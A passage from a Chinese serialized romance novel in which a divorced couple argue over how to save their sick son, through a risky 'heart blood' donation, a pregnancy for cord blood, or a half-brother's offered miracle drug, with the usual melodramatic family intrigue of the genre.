“小核桃乖。”
宋南伊只是猜测是南烟干的坏事。
没有证据证明,报警又有什么用呢。
“当下先治病吧,追究凶手的责任是以后的事情,坏人一定会有报应的,我也不会放过她。”
“那蓝烟说到底不是霍时序的亲妹妹,一个从福利院收养来的,不知道底细,以后啊,好好的防备着点。”南微是想要个说法的。
女儿说过后追究,她也没有意见。
“这蓝烟再怎么说,也算半个霍家人,我们可以暂时不追究,专心给小核桃先治病,但霍时序不能包庇才是,也算是给你,给我们宋家一个交代。”
宋南伊心里不确定。
霍时序看重亲情。
就算蓝烟不是他的亲妹妹,也是照顾蓝旗多年的人。
如果真是蓝烟做的这件事情。
她猜,他应该大事化小,小事化了吧。
也无所谓。
她会追究的,且一追到底。
“哦对了,那天星言回来说,霍时序身上的伤,是当年在仓库着火时受的,他一个同学的父亲,是负责治疗的主治医生……”宋家人,现在,已经差不多了解了内情,“……我也问过知情人了,好像就是那么回事,眼睛差点瞎掉,说是救出来的时候,连个防毒面具都没戴,像是**似的,全身的骨头都断了……”
宋南伊震惊。
当时,她在医院里醒来时,听说他去国外出差。
是假的?
那时他生死不明,在抢救。
是这样吗?
他的眼睛,他的腿,是救她时落下的残疾?
为什么他不讲呢?
还要自我感动的跟她离了婚。
这算什么?
让她欠他一辈子?
让她内疚一辈子?
没人逼他这么做。
倒也不难猜,当时他的心理。
无非就是用自己的命,抵前世她死在产床上的那条命。
他想做的,是互不亏欠。
他做到了。
“最多算我们,欠他个人情。”
南微轻轻叹气,“不管怎么说,他救了你是事实,南伊,找个机会,还要是对他表达一下,我们对他的感谢,我听说他要结婚了,到时,送他一些厚礼吧。”
宋南伊点头,“嗯。”
小核桃住院的日子。
大部分都是外婆在陪着。
医生告诉她,手术时间定在了这个月的中旬,交代了一些需要注意的事情。
霍时序很少来,但江城每天都有他的新闻。
有一个很著名的访谈节目,没有邀请到霍时序,请了常可欣。
直播。
二十万+的人,在线观看。
刚好小核桃睡了,宋南伊闲来无事,就安静地看了一会儿。
主持人问了许多,常可欣和霍时序相处方面的问题,很细节。
大差不差。
情况,与她当时在一起的时候差不多。
当被问及婚期时,常可欣总是闪烁其词,只说快了。
在一再追问之下,她才含糊地说出一个日子。
好像跟小核桃做手术的日子是同一天。
如果真的是同一天,那霍时序是不是,就不会来陪小核桃做手术了?
想到这些。
宋南伊心口如蚁啃地般的难受。
为了儿子,她想去争取一下。
找了个时间。
她给霍时序打了个电话,说想跟他见一面。
“白天我很忙,晚上吧,你来家里,刚好我们可以一起吃个饭,顺便你也可以跟我聊一下小核桃,最近的病情。”
他的语气太平淡了。
平淡得根本听不出,他有什么非分之想。
宋南伊拒绝的话,走到唇边打了个滚,又咽了下去,“那行吧,刚好,我也有别的事情要跟你讲。”
挂断电话。
她去了趟商场,给霍时序挑了一份新婚礼物。
一支价值百万的某品牌手表。
顺便把他当年救她的人情还掉。
等小核桃病好了,就真的两不相欠了。
到家的时候。
霍时序并没有回来。
宋南伊和路姐聊了会儿天。
“蓝烟小姐倒是经常过来,不过,先生通常不在,她呆一会儿
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就会离开。”
“常老师也来过几次,但都没有留下来过夜。”
“先生的腰很不好,打了很多的钢钉,下雨阴天什么的,他就会很难受,时常半夜听到他痛苦的呻吟声,有几次疼得都叫了救护车。”
宋南伊稍稍皱眉。
听说他全身的骨头断了许多,看来是真的。
“太太,你不在先生身边,他真的过的,挺不好的。”路姐感慨。
宋南伊哂。
路姐真是高抬她了。
像霍时序这种人,不会缺女人的。
哪怕给不了别人名分,哪怕现在又瘸又瞎的,也有人上赶着来照顾他的饮食起居。
“路姐,你可怜错人了。”
“是真的,先生经常会喊你的名字,往家里带的东西,都是按照你的品味,就像前段时间他带回来一些咖啡,是您爱喝的,我现在就给您冲一杯去。”
路姐起身,往咖啡机旁走。
家里还是那样。
没怎么变。
合欢树长得依然那么好,玫瑰花也是开了败,败了开。
物是人非。
“你来了。”
霍时序拄着拐杖走进来,步子不大,一瘸一拐的,像是残败的蜡烛,随时都能熄灭一般。
换鞋子时,他的腰根本就弯不下。
“怎么不跟我讲呢?”她盯着他问。
霍时序微微愣了愣,“什么?”
“你这一身的伤,是因为救我落下的,你怎么不跟我讲?”
他淡淡笑笑,起起伏伏地走过来,“这有什么好讲的,我又没指望你报答。”
她也没想报答他。
救命是恩情。
不还了这份恩情,她心不安。
宋南伊将礼盒递给霍时序,“这块表,是你喜欢的牌子,不算最高档,但是我能力范围内最好的了,算是送你的新婚礼物,也算是还你一份救命的恩情。。”
霍时序没接。
眼眸幽深。
只是淡的不能再淡的扫了一眼包装。
掀起的眼皮,有一些锋利,“谁说我要结婚了?”
“你那位常老师在采访的时候说的,日子差不多是小核桃手术的那天。”提到这个,她的心情总是沉重的,“霍时序,我也不知道你到底是不是手术那天结婚,我想求你,看在小核桃做这么重要的手术的份上,能不能先陪他动完手术再结婚?”
第135章 接了个噩耗
她知道她的要求不算合理。
可她是位母亲,小核桃在这样关键时刻对父亲的需要,让她不得不,发出这种过分的请求。
他没给她答案。
而是跟路姐说,“准确晚餐吧。”
“好的先生。”
他开了瓶红酒。
醒了半瓶。
他和她能坐在一起的机会不多。
想喝了。
他今天去抽了骨髓,过几天还会去抽那滴传说中的心头血。
他其实也不知道心头血是什么。
不管是什么,他都是愿意的。
那是他儿子,他愿意以命换命。
“陪我喝点。”他说。
宋南伊并不想喝酒。
她心事重重。
而霍时序并没有答应她什么。
“那你可以答应我吗?黄道吉日很多的,不用非得选小核桃手术这天,算我求你,好吗?”
宋南伊是有些急迫的心情在的。
霍时序偏是不疾不徐地说,“先喝,一会儿告诉你。”
宋南伊心不在焉,只好坐下,想着陪他喝几杯,应付一下。
兴许,他一高兴,就应了。
霍时序的喝酒很急,像是几辈子没喝过一般。
她不由地想到他现在的身体状况,“你现在的情况,可以喝酒吗?医生怎么说的,你这腰和腿,还能不能彻底好起来?”
他笑。
唇角的弧度似是很满足。
“什么时候,这么关心我了?”
“虽然我很不想承认,但你这身的伤跟我脱不了干系,还是希望你能健康的。”
霍时序苦笑在,乌黑的眸底,盛满了凄凉。
“不重要,我已经不在乎了。”
“你还年轻,还是要积极治疗的,最起码,不要让你自己的另一半,感到是负担,不是吗?常老师很快就成为你的妻子,你也应该为她考虑,毕竟是……‘此生挚爱’”
这四个字。
宋南伊说得又讥诮又贱兮兮的。
霍时序看向她的眼神,变得复杂和晦涩。
她也认为,他这样不健康的身体是负担。
他当初放她走是对的。
幸好。
“看来,我还是一个人过最好,省得拖累别人。”他仰头喝光了杯中的红酒。
宋南伊虽然也有一半是这个意思。
但目的是让他打起精神来,正确地面对自己的伤病。
他误会就误会吧,她不说了。
霍时序兴致很高。
半瓶红酒,他独自饮了三分之二还要多。
还要喝时。
宋南伊将余下的酒拿走了,“你还是少喝点,一会儿喝醉了,该聊的没聊,不该说的又要说一些,没有任何的意义。”
“别管我宋南伊,想聊什么,不想聊什么,跟喝没喝酒没关系,跟喝没喝醉更没关系,你现在又不是我老婆,省省心吧。”
霍时序有了七分醉。
不是他酒量不行。
是心里藏了太多的事情。
不醉不行。
“那我给常老师打个电话,让她过来劝劝你。”
宋南伊拿出手机。
被霍时序一把抢了过去。
随即关机,直接扔到一旁。
“宋南伊,你就是个没良心的。”他靠在椅子上,身子软塌塌的,“你放心,儿子我会救活,我不会让你欠我的人情,终日不安,以后……我就永远消失在你的世界,你爱跟谁恋爱跟谁恋爱,爱嫁给谁嫁给谁,我俩的恩怨情仇,一笔勾销。”
宋南伊当他在说醉话。
转身去冲了杯浓茶给他,“当然会跟你一笔勾销,两不相欠。”
“开心吗?”他笑着,却未达眼底,漾出水光。
她的心跟着扯了一下,垂眸躲开了他的眼神,“开心啊,怎么会不开心呢。”
他直勾勾地望着她。
空气都在收紧。
忽然,他伸手攥住了她的手腕,力道有些失控。
宋南伊吓了一跳,向后缩去,挣扎,“有话好好说,别动手动脚。”
他醉了,可以失去自持,不管不顾。
但她没有。
界限依然分明。
“霍时序,你别借酒发疯。”
他突然抱紧了她,影影绰绰地开始抽泣,“如果我真的在这个世界上消失了,你会想我吗?南伊,告诉我,你会不会偶尔也会怀念我?不是怀念坏的霍时序,让你伤心的霍时序,是那个疯狂爱你的霍时序,对你肝脑涂地的霍时序。”
他声音沙哑,哽咽得几乎不成句。
将她拉进怀里,抱紧,紧得几乎让人窒息。
她僵在他怀中,听见他压抑的、断断续续的抽泣声。
这种合场的的拥抱和若有似无的情感宣泄。
令宋南伊有些茫然。
说的好像,他马上要死似的。
“霍时序,你可别死啊,你**可没人怀念你,最多就小核桃和你的家人会有一些难过……”她笑了,有一些苦闷,“其余的人,跟你没有血缘关
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系,只当接了个噩耗。”
“我不管其他人,你呢南伊,你记得我好不好?不需要记一辈子,就偶尔的时候,记一记。”
他像个孩子。
哼哼唧唧。
哪里还有往日那副傲娇。
可能要再婚,他总有一些情感需要疏解吧。
她记得,前世她和霍时序结婚的前几天。
他也是这样的焦虑,睡不着,也不让她睡,就一直聊天。
她被他熬得,一连三天都没睡过一个囫囵觉。
黑眼圈比熊猫都黑。
一度不想结这个婚了。
他就是这样的人。
“你醉了,去休息吧,路姐……”
宋南伊不愿再跟他矫情下去,推开他,叫来路姐,将他送回了卧室。
熟悉的栀子花香。
透人心脾。
好像她从来没有离开过一般。
灯打开,很亮。
他眯起眼睛,翻了个身。
“南伊,我不要你欠我人情,我不结婚,我要,我要陪儿子,手术,手术……”
他呢喃着梦话。
像要是承诺什么。
她坐在床边上,看着他消瘦的脸,什么爱啊,恨啊的,三生三世。
再多的情仇爱恨,她也要释怀了。
只有放下,才能更好地生活。
“霍时序,以后就做朋友吧,一个只听未来,不计过往的朋友,我会祝福你的,祝你和你的爱的人,有幸福美满的人生,真心的。”
她起身,手腕却被扣住。
“谁**稀罕跟你做朋友,宋南伊,你是不是太自恋了?”他的声音因酒精和情绪而粗粝。
含混不清。
宋南伊分不清是呓语,还是真心话。
无论哪一种,都精准地刺中了她强装的平静。
无明火,熊熊燃烧。
“好,就算我自作多情,好了吧,我不配做你霍大总裁的朋友。”宋南伊小脸很冷。
她用力甩他的手。
他却用尽全身力气将她重新拽回,紧紧地、几乎是凶狠地搂进怀里。
滚烫的体温透过衣料,伴随着他粗哑的哽咽:“宋南伊,不管你爱我还是恨我,我只当你是我老婆,我唯一的老婆,我知道,我没有资格再跟你复婚,我也想随便找个女人凑合过一生……”
他的声音越来越低,最后化作一声叹息:“可我……心里,除了你,早就容不下别人了。”
绝望又认命的眼睛。
透出血一般的红。
第136章 再生一个救命
她心口被扯得很疼。
这种感觉,很久没有过了。
她不敢再看他的眼睛。
最终。
霍时序还是放开了她。
宋南伊并没立即离去。
挺悲凉的。
不管这是告白还是什么。
她都觉得,不应该出现在他和她之间。
她难过吗?
是的,她很难过。
以前无数个相爱的夜里,他惹她生了气,就是这样把自己灌醉,抱着她说肆无忌惮的情话。
那时的她,好心软。
小情话一说,她就原谅他了。
此时呢?
他已经不是那个年少轻狂,爱意张扬的霍时序,她也不是那个,只要他肯哄,她就肯继续呆在他身边的宋南伊。
有些事情,是无法挽回的。
他们都懂。
……
小核桃手术的前几天。
宋南伊回了趟自己的工作室。
陆为谦为陆蔓订制的那套珠宝,已经完美的呈现。
她给裴吟打了个电话,将她叫到了工作室。
“呶,给你个机会,帮我去送这套珠宝给陆律师,顺便还他上次帮咱们买单的人情。”
宋南伊将精致的包装,递给裴吟。
裴吟惊讶:“你说有重要的事情,就这个啊?”
“这个很重要啊,这样的机会多难得,要不然,你的人情什么时候还?”
裴吟接过精美的礼盒,“确实,我跟他也没什么交集。”
“谢谢喽,等小核桃做完手术,我请你吃大餐。”
提到小家伙,裴吟不免担心。
但她实在是帮不上什么忙,“那你忙你的,我先去送这个。”
“路上小心。”
……
裴吟约陆为谦时。
她明显地听到了他声音里的失望。
她挺来气的。
她是有多不招人喜欢,从南城跑到北城,亲自给他送珠宝,被嫌弃。
“陆为谦,你到底是想让谁来给你送珠宝?还大律师呢,一点礼貌都没有,本小姐,肯辛苦跑一趟,也是看在上次,你给我们买单的份上,你可千万别以为自己多招人喜欢。”
裴吟把包装盒,往陆为谦身上一扔,转身就要走。
陆为谦急忙叫住她,“裴吟,你误会了,我不是这个意思。”
“那你是哪个意思?难不成……”裴吟似是想到了什么,漂亮的眼眸眯起,“……你在觊觎我的好闺蜜?”
陆为谦害羞了。
耳朵烧了起来。
裴吟啐了口脏话,还真让她猜对了。
这小子,是不是霍时序和宋南伊谈恋爱的时候,他就在偷偷的喜欢?
亏她还当他是正人君子。
“陆为谦,你还玩上暗恋了,要说以前,你玩纯爱,我也挺佩服你的,现在南伊她都已经单身了,你还有贼心没贼胆的,我瞧不起你。”
他认可。
有些爱,他愿意永远放在心尖上。
以前没机会。
现在有机会,他前怕狼后怕虎,他其实也挺瞧不上自己的。
“如果我想追她,你愿意帮我吗裴吟?”
裴吟抬手,粗鄙地睨了他一眼,“我?不愿意。”
“哦。”
裴吟不愿意的原因,很简单。
陆为谦对宋南伊来说,确实是一个难得的人选。
他有体面的工作,为人也谦和,看起来脾气也不错。
长得也人模狗样的。
但陆家不是。
据她所知,陆家没有一个省油的灯。
同父异母的姐姐,不同父也不同母,却是陆家最受宠的弟弟,这样的弟弟,还有两个。
并且……
还有一个跟自己年纪相仿的后妈。
哪一个挑出来,都可以随便逼疯一个人。
或许陆蔓除外。
但别人,可真不好说。
嫁给陆为谦,除了气死霍时序这一个利处,别的真没有。
当弊大于利时。
为了好闺闺的幸福。
她觉得陆为谦还是少来惹为妙。
“陆为谦,你生在陆家是为了联姻的,恋爱不会自由,我看啊……你就少来惹南伊了,她一个人带着个孩子不容易,可经不起你们陆家这些……”
奇葩,她没说出来。
怕不礼貌。
但他知道她想说什么。
一时自形惭愧。
也就那么一瞬,他锐利的眼神,落到了裴吟的面上,“我想,日久见人心吧。”
裴吟:……呸,这是对牛弹了一段了梁祝吗?
他还来劲了。
“好了,好了,算我白说,东西给你了,我走了。”
……
从工作室回医院。
宋南伊想着找医生,再了解一下手术中问题。
刚走到门口,就听到里面传来了熟悉的声音。
“我已经做好准备了,只要能把我儿子救活,我
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……怎么着都行。”
医生叹息。
这个父亲牺牲太多了。
哪怕面对那么多的未知,他依然坚定没有退缩。
“取心头血的过程有点复杂,而且取得过程中有风险,不排除会心脏骤停,你……真的做好准备了吗?”
医生反复地确定着。
又不停地建议着,“其实,你可以跟孩子的妈妈再生一个宝宝,不必等到宝宝出生,就可以取脐带血,用来治疗,你是不是再跟宝宝妈妈商量一下?”
“不用商量了。”
“现在小宝贝的指标还算不错,时间上完全可以等得起,如果用脐带血治疗的话,极有可能提高治愈率,八成,九成也不是不能实现,霍先生,我真的建议你,跟宝宝妈妈商量一下,取脐带血,远比你这样风险要小一些,而且……”
作为医生,他不能把话讲得太直白,怎么说也是一个未出生的小生命……
“……,就算你们当时不想生下这个宝宝,也可以拿掉。”
霍时序接受不了,这样残忍的事情。
不管是对宝宝,还是对宋南伊,这种方式,都令人无法接受。
他依然坚持,“还是按原来的计划吧。”
“好吧。”医生答应了下来。
离开前,霍时序再次叮嘱医生,“这事,千万不要让孩子妈妈知道,我不想让她有心理负担。”
“我会为你保密的,霍先生。”
医生办公室外面的女人。
倒抽了一口凉气。
怎么就取上心头血了?
医生没跟她讲过,要用人的心头血来治疗小核桃的病。
她突然想起了,那天晚上,霍时序抱着她哼哼唧唧的,说什么以后他**,会不会想他之类的。
是他早就做好准备了吗?
为了小核桃,他愿意**。
心脏突然抽痛了起来。
宋南伊捂着心口,跑到了一处无人的地方失声痛哭。
用霍时序的命,救活小核桃的命。
小核桃会恨她的。
她不能这么做。
医生说了,可以用脐带血,以小核桃目前的情况,治愈率也很高。
她要赌一把吗?
和霍时序再生个孩子?
不,不一定要生下这个孩子,五个月就可以取脐带血。
到时,拿掉这个不该出生的孩子。
他和她就不会再有牵扯。
她敢吗?
第137章 会玩花样的女人
宋南伊想了许久。
凭空搞出一个孩子来,确实不道德。
霍时序也是要结婚的人,女方怎么会允许还没结婚,就先有了私生子。
可这种以命换命,风险极高的治疗方案……
她受不起这个。
思来想去,只有自己来承受这样的风险,才是对小核桃最好的救赎。
……
霍氏总裁办公室。
宋南伊已经许多年没有来过这里。
霍时序没在。
蓝烟抱着一个文件夹,扭着腰枝走了进来。
“宋南伊?你来这儿干什么?我哥他很忙,没空接待你,有什么事情跟我讲好了。”
蓝烟将文件夹往桌上一扔。
撞击的声音很大。
透着一些不耐烦和对宋南伊的不尊重。
一想到,小核桃的病情,跟蓝烟有很大的关系,宋南伊的眼眸深沉了几分。
“跟你说得着吗?”宋南伊冷冷地睨向她。
蓝烟撇嘴,满是鄙夷,“宋南伊,你还以为你还是我哥的老婆呢?我哥要娶常老师了,大学老师,书香门第,你知道这种职业的人,玩起cosplay来,有多带劲吗?这就是为什么,我哥只跟她相处了短短的时间,就决定娶她……”
她刻意压低了身体,凑近宋南伊,“……男人很容易被会玩花样的女人,征服的。”
宋南伊压眉。
冷笑,“原来你哥是喜欢这样的?也是,会玩花样好过会玩阴招的不是吗?”
“阴招?”蓝烟拧起眉心,“你在内涵什么?”
“蓝烟,你是不是在你妈送给我的首饰上,做手脚了?”
宋南伊直接问。
她没力气玩拐弯抹角。
眼神紧盯着蓝烟的眼睛。
蓝烟掩唇笑了,“宋南伊你是不是傻啊?要是我的话,你觉得你这样问,我能说是我吗?”
“所以……是你?”
“宋南伊,那首饰是妈给你的,首饰在送给你之前,妈都拿去寺庙祈了福,就算有人想做手脚,那人可海了去了,一整个寺庙都是,你挨个去问吧。”
宋南伊冷笑。
她就知道,这个女人不简单。
狡猾又擅长狡辩。
蓝烟呆过的福利院,宋南伊打听过,是国外出了名的东亚弃婴集中营。
大部分的孩子,是来自内地或是东南亚一些偷渡家庭。
养不起的,私生的,还有一些用来换钱的弃婴,比比皆是。
这些孩子成年后,大部分都会被卖进人体工厂。
作为供体,为有钱人提供健康的器官。
蓝烟是哪一种,她不知道,但算是这里面最幸运的一个。
一个在环境里打滚过的人,怎么可能是单纯良善之人。
越是这样,宋南伊就越怀疑,是她做的。
“最好不是你做的,如果真让我查到点什么,你不会有好下场。”
蓝烟挑眉,不屑一顾,“哦,那我祝你早日找出凶手喽。”
蓝烟重新拿起文件夹。
一步三拽的,离开了总裁办公室。
这时江淮走了进来。
“太太,霍总还有个重要的会在开,麻烦您再等一下。”
江淮给她送来的甜点和奶茶。
都是她经常光顾的那家店里的。
宋南伊知道霍时序忙。
遂点头,“好。”
宋南伊等了霍时序整整半天的时间。
东西也吃了个七七八八。
霍时序从会议室出来。
江淮伸手扶了他一把,“霍总,要不再等等研究院那边的消息吧,这么久了,治疗小少爷的药物,应该差不多研制出来了,您这身体真的吃不消啊。”
“能等得起吗?”
他不想像前世,等治疗母亲的药物一样地等待着。
等来等去,等了一场空。
只要有机会,拿命换也要换。
“遗嘱的事情,让律师团队那边尽快搞。”
“是。”江淮叹息。
……
霍时序推门回来。
很疲惫。
从面上看他,有一些力不从心的样子。
“我有件事情,要跟你商量一下。”她也顾不上他,有没有力气,“我说,你听着就行。”
霍时序抬了抬手,让她说。
“是这样的,我听到了你和医生的谈话,我不想让你去抽什么心头血,你也别误会,我不是心疼你,我是不想欠你这么大的人情。”
“我的想法是,我们可以再怀一个孩子,比如说做试管之类的,这样就可以抽脐带血,你放心,我不会生下来的,毕竟你也要有家庭了,我不会给你未来的婚姻生活,增加一些不安定的因素。”
“我不需要欠你的人情,你也可以好好地活着,小核桃还有得救。这样,两全其美。”
宋南伊已经把想说的词,烂熟于心。
讲起来,流畅得不得了。
说完后,就认真地看向了霍时序。
她猜,他一定会同意。
如果他怕她生下孩子,她可以跟他签合约。
“你有什么想补充的吗?”
霍时
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序眉眼森凉。
脸也紧绷得厉害。
他这是不同意吗?
不同意她怀孕?
可这是除了牺牲他外,唯一一个救小核桃的机会。
他在担心什么?
怕她生下孩子?
“霍时序,我们只需要做试管就好,你跟常老师商量一下,我真的不会生下孩子,我不会给你们的生活,造成困扰的。”
他眉眼越压越低。
几乎将眸子眯成了一条线。
“宋南伊,你知道做试管的成功率是多少吗?你知道有多疼吗?你知道怀孕五个月抽脐带血,要面临多大的风险吗?你知道五个月的胎儿从身体拿走,你要受多大的伤害吗?你在这儿说梦话呢?”
她黯然。
她当然都考虑过。
正因为是反复地考虑过,所以,她才做出这样的决定。
“不然呢,还有别的更好的办法吗?”
用霍时序的命。
让她一辈子,都带着愧疚,和小核桃的埋怨生活,那不是她想要。
“有。”他说。
宋南伊恍然抬眸,望过去,“什么办法?”
“复婚。”
他说得毫无底气。
他的身体,可能连正常的夫妻生活都完成不了。
想生个孩子,并不是易事。
但他就是这么自私地想了。
谁要跟她做什么试管,想怀孩子,那就真刀**地做男女之事。
或许跟她在一起,他的身体慢慢地就好了。
其它的想都不要想。
宋南伊没想过这事。
诧异他荒诞的想法,“复婚毫无意义,我现在要聊的是生个孩子的问题。”
“不复婚,谁跟你生孩子?”
宋南伊被气得一闷。
他是不是忘了,他要和常可欣结婚这事了?
“你跟我复婚,那常老师怎么办?你们不是到了谈婚论嫁的地步了?那我不成了小三了?”
她最痛恨小三。
痛恨一切搅乱婚姻的人。
霍时序淡而平静,冷眼看她,“到底是谁跟你讲的,我要结婚了?我和常可欣已经分手了,如果你想救小核桃,又不想欠我的,那就复婚,我们生个孩子。”
“怀个孕不用非得复婚,再说了,这个胎儿是用来救小核桃命的,我也没有要生下来的打算。”
是有点残忍。
但她实在没有精力,再去抚养一个属于霍时序的孩子。
多一个孩子,多一分的牵挂。
她只想把小核桃一个人好好地带大,仅此而已。
第138章 要么复婚,要么滚
“那就打消这个念头。”
他不再跟她对话。
低头处理手中的文件。
宋南伊气到了。
为了让他放弃复婚,哪句难听捡哪句的说,“霍时序,你想跟我复婚,你能带给我什么?我看你现在的身体状况,弯个腰都很难,恐怕那方面也不行吧?还有你的腿,你看都瘸成什么样了,我可不喜欢,还有我也不喜欢视力不好的,你哪哪都不行,我怎么跟你复婚。”
他停下手中的笔。
墨眸微微眯起。
眼神冷厉像要把周围的空气冻结。
宋南伊缩了缩脖子,大胆地迎上他要**的目光。
“我说得不对吗?你现在这副样子,也就常老师能看得上,我可瞧不上。”
她对霍时序还是有些了解的。
如果当年,他不是为了所谓的自尊心,应该也不会那么痛快跟她离婚。
人,通常最难面对的就是自己的缺陷。
尤其是男人。
她知道他哪儿疼。
就捅了。
霍时序将笔丢下,起身走到了宋南伊的面前。
大手一抬,紧紧地握住了她的脖子,而后轻轻一拉,她便到了他的身前。
“宋南伊,我腰是不行,但你可以在上面,完成一次完美的性生活,问题不大,眼睛我可以去做手术,腿我也可以慢慢康复……”他将性感的薄唇,递到她的耳边,咬牙切齿,“……别以为说这些伤害我的话,我就放弃原则,要么复婚,要么……滚。”
他甩开了她。
眼底有嫌弃。
也许不是嫌弃,是对自己被伤害的一种虚张声势。
宋南伊没说话。
就那么看着他。
看着他的脸,越来越黑,越来越冰,越来越没有温度。
最后。
她转身走了。
他没有叫住她。
她承认,自己有一丢丢的难过。
不是替自己,是替霍时序。
她怎么不懂他的心思呢。
可他们真的能回得去吗?
……
手术的当天。
霍时序来看小核桃。
小核桃对他很依恋,一直在他的怀里,乖乖的,却像有很强的安全感。
“爸爸,等我好了,我们一起玩超**战超人怎么样?”
“爸爸,等我长大了,我给你治腿,你一定会好起来的。”
“爸爸,我以前叫你坏爸爸,不是不喜欢你,是为了讨妈妈的欢心。”
“爸爸,你陪着我手术好不好,我有点怕,我还没有做过手术呢,手术是不是要把人锯开呀?”
“爸爸,我不要你走。”
小家伙呢呢喃喃地说了很多的话。
霍时序眼眶泛红。
宋南伊也没有好受到哪里去。
“霍时序,你跟我出来,我有话要跟你讲。”
宋南伊站在霍时序的面前,像是下定了某种决心一样的,“霍时序,我不会跟你复婚的,但我求你跟我再怀个孩子,别让小核桃成为没有父亲的孩子,你看他还那么小,如果你真的离开了他,他在漫长的成长旅程中,会出问题的,求你了……”
她没有别的选择。
小核桃对霍时序有了深厚的感情。
难不成,真让霍时序去疯去癫**,儿子真的会恨她的,也会带着自责过一生。
三个人的人生,没有一个人可以幸福。
“你……愿意吗?”
她红着眼,征求他的意见。
男人的情绪没有什么变化。
也没有之前那般的排斥。
慢慢地,五官开始变得柔和。
复婚对宋南伊来说,是一条很长的路。
他不再勉强。
只要她肯回到他身边。
早一点,晚一点,又何妨呢?
他靠近她,将她轻轻地拥进了怀里,“那你得答应我一个条件。”
“你说。”她哽咽着。
“你和小核桃得搬回来住,不要试管,我们自然怀孕,我们都年轻,怀孕应该很快的,算是……为了小核桃。”
他知道,他的要求有点卑鄙。
他想拥有她,他有错吗?
宋南伊颤着唇,最终点头,“我会测排卵期,平时……不做行吗?”
“好。”
他答应了。
手术取消。
自然怀也好,试管也好。
不管哪一种,都要尽快提上日程。
医生说了,药物可以控制小核桃的病情,带回家休养,更利于他的病情。
宋南伊决定带着小核桃,搬回那个家。
小核桃很开心。
在整理自己的东西。
南微心事重重。
她认为女儿不必做这样的牺牲。
宋南伊心疼自己的孩子。
她何尝不心疼,一手带大的女儿呢。
“真的就没有别的办法了吗?”
宋南伊也想有。
可就是没
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有。
“嗯。”
南微叹息。
帮着小核桃把他的玩具,全部装到行李箱里。
路姐一大早就打来电话说,把卧室全部的床上用品换了新的。
欢天喜地的,等着宋南伊回去。
宋南伊一个人坐在床边,静静地沉默着。
很乱,很烦。
手机突然响了一声。
一个陌生的号码。
内容:“宋小姐,可以见个面吗?关于你儿子的病,我这儿有一个不需要你委曲求全的办法。”
后面跟了一个地址。
某个咖啡厅,就在她家不远一个路口。
她想打过去核实,但对方并没有接听。
想着,大白天,应该没什么危险。
宋南伊拿起包出了门。
走进咖啡厅。
她并没有看到熟悉的面孔。
找了个位置坐下。
要了一杯美式。
很快有人坐到了她的对面。
男性,年纪差不多三十岁左右,个头很高,皮肤很白,长得很好看,有几分霍时序的影子在。
“你……”
“我是给你发信息的人。我叫顾南风,南风知我意的南风。”
宋南伊打量着他。
却不知道他的用意,“顾先生约我出来是……”
“我知道你儿子现在病了,我也知道你不愿意搬到霍时序那里,我可以帮你,治好你儿子的病,不知道,你有没有兴趣?”
这个陌生的男人。
却深知她的家事。
宋南伊怀疑他的身份,可能与霍家有关。
“顾先生认识霍时序?”
顾南风轻轻一笑,十指相扣,姿态慵懒,“不瞒你说,他是我哥。”
“你哥?”一个姓霍,一个姓顾?“霍时序是独生子,哪来的弟弟?”
“霍家的私生子,这样会不会容易理解一些。”他笑得很从容。
宋南伊震惊。
霍明达的儿子?
怎么说她也嫁进过霍家三年。
从来不知道,有一个私生子的存在。
藏得可真好。
顾南风笑笑,“不必惊讶,我还有一个妹妹。”
宋南伊:……
不止有私生子,还有私生女?
她突然想通了,为什么霍时序的母亲会得疯病,自己的丈夫有了小三,还生了两个孩子,没被气死,是万幸。
“说吧,我想听听,你有什么办法救我的儿子。”
第139章 他在利用她
顾南风拿出一瓶药,放到了桌上,“我有一个顶尖的医学团队,世界上绝大多数的疑难杂症,都不在话下,你儿子的病说的通俗一点就是解毒,不难,一瓶药,三十天,完全可以康复。”
“不必怀孕,也不必非得用什么心头血,所有的风险都可以解除。”
他说的很轻松。
平白无故,有人献殷勤。
宋南伊并不觉得这是一件好事。
霍家人向来有城府。
私生子也不会例外。
“想帮我,还是想帮你自己?”宋南伊端起咖啡轻啜,“顾先生,你我素不相识,我不觉得,你会做这样的事情,说说你的想法吧,或许说,你的目的是什么?”
“做为私生子,想的最多的无非就是认祖归宗,我想真真正正的成为霍家人,想拥有与霍时序同等的机会,我想请宋小姐帮这个忙。”
宋南伊静静的看着眼前的男人。
他是不是把她想的太神通广大了。
她不过是霍时序的前妻。
连半个霍家人都不算,她的话,有几个人会听。
“那你找错人了。”
“宋小姐,这瓶药换你到老爷子面前,说几句我的好话,你不亏。”顾南风将药瓶往她面前推了推,“当然,你可以先服药,等你儿子的病好了,再去说,也不迟。”
他深呼吸,唇角淡淡,“你也可以放弃这个治病救命的机会,可以去怀孕,可以抽脐带血,用脆弱的身体,换取那**成的治愈机会。”
“百分百的治愈希望和**成的机会,你自己选。”
宋南伊迟眸。
视线落到药瓶上。
说不心动是假。
但真的有这么神药吗?
吃了这瓶药,小核桃就能彻底好起来,她也不必去跟霍时序生孩子。
“只是说几句你的好话?”宋南伊不确定地问。
顾南风点头,“没错,让爷爷知道,是我救了你的儿子就好,仅此而已。”
好像也不是什么过分的事情。
她要接受这样的好意吗?
“我怎么确定,这药就一定能救我儿子?”
“随便拿去检验,你安心后再给小家伙服用,三天就去做一次检查,看指标。”
宋南伊的指尖慢慢地伸到了药瓶。
最终下定决心,拿了起来。
“我会先去找机构检验一下。”
“当然,我也希望我的小侄儿,早点健康起来。”
顾南风笑了,如沐春风的,看不出半点恶意。
可他真的没有恶意吗?
宋南伊不知道。
或许他在利用她。
不重要,只要救了小核桃的命,就好。
……
傍晚。
霍时序回家后,发现宋南伊并没有搬来。
他问路姐,“太太和小少爷,没回来,还是出去了?”
“太太和小少爷说是今天过来,一直也没来……”路姐看了眼时间,她也不知道是什么情况,“……是不是今天不过来了?”
“我给她打个电话。”
霍时序拨通了宋南伊的手机。
但响了很久都没人接。
差不多两个小时。
他没有收到宋南伊发来的任何一条信息。
霍时序纳闷。
半晌。
他似是想起了什么,拄着拐仗上了楼。
打开电脑。
霍时序给自己在国外的,医药研发团队,打了个国际电话。
“霍先生?”
海外医药研发团队负责人声音有一丝不易察觉的紧张。
霍时序没有寒暄,直接切入主题,“顾南风那边,是不是有什么动静?”
电话那头陷入一片死寂。
过了好几秒,负责人才艰难地开口,“……霍先生,我、我刚想跟您汇报这件事。您前段时间亲自下令,让劳伦夫博士牵头研制的那个特殊治疗药物……项目,出问题了。”
负责人满头大汗,声音因恐惧而微微发颤。
